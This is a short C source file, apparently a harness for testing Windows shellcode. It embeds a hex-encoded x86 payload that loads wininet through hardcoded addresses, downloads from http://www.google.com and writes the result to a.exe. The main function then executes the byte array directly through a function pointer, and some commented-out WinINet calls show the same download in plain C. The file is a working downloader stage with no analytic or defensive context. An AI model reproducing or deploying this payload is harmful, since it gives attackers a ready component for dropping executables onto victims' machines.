/*shellcodetest.c*/
#include <winsock2.h>
#include <wininet.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>

char shellcode[] = "\xe8\x08\x00\x00\x00\x77\x69\x6e\x69\x6e\x65\x74\x00\xbb\x84\x28\x83\x75\xff\xd3\x31\xc0\x50\x50\x50\x50\x50\xbb\xdc\x7d\x70\x75\xff\xd3\xe8\x16\x00\x00\x00\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x00\x5b\x31\xc9\x51\x51\x51\x51\x53\x50\xbb\xd8\xdb\x70\x75\xff\xd3\xe8\x06\x00\x00\x00\x61\x2e\x65\x78\x65\x00\x5b\x31\xc0\x50\xb0\x82\x50\xb0\x02\x50\x30\xc0\x50\x50\xb0\x40\xc1\xe0\x18\x50\x53\xbb\x1c\x29\x83\x75\xff\xd3\x89\xc7\x31\xc0\x66\xb8\x0c\x01\x29\xc4\x89\xe6\x8d\x5e\x04\x53\x66\xb8\x04\x01\x50\x8d\x46\x08\x50\x57\xb9\x64\xe2\x6f\x75\xff\xd1\x8b\x46\x04\x85\xc0\x74\x18\x31\xc0\x50\x8d\x46\x04\x50\xff\x76\x04\x8d\x46\x08\x50\x56\xb9\xec\x11\x83\x75\xff\xd1\xeb\xcc\xff\x75\x3c\xb9\xd7\x05\x83\x75\xff\xd1\x31\xc0\x66\xb8\x0c\x01\x01\xc4\xeb\xfe";
int main(int argc, char **argv)
{
    //HINTERNET hINet, hFile;
    //hINet = InternetOpen(0, 0, NULL, NULL, 0 );
    //if (!hINet)
    //{
     //   printf("Error InternetOpen\n");
      //  return;
    //}
    //printf("%d\n", hINet);
    //hFile = InternetOpenUrl(hINet, "http://www.google.com", NULL, 0, 0, 0);
    //if (!hFile)
    //{
     //   printf("Error InternetOpenUrl\n");
      //  return;
    //}
    //return;
	int (*func)();
	func = (int (*)()) shellcode;
	(int)(*func)();
}
